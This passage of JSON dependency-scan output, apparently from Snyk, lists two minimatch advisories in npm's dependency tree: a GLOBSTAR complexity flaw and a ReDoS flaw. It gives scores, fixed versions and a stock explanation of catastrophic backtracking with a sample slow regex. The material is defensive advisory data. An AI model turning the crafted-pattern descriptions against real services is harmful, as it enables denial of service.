"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 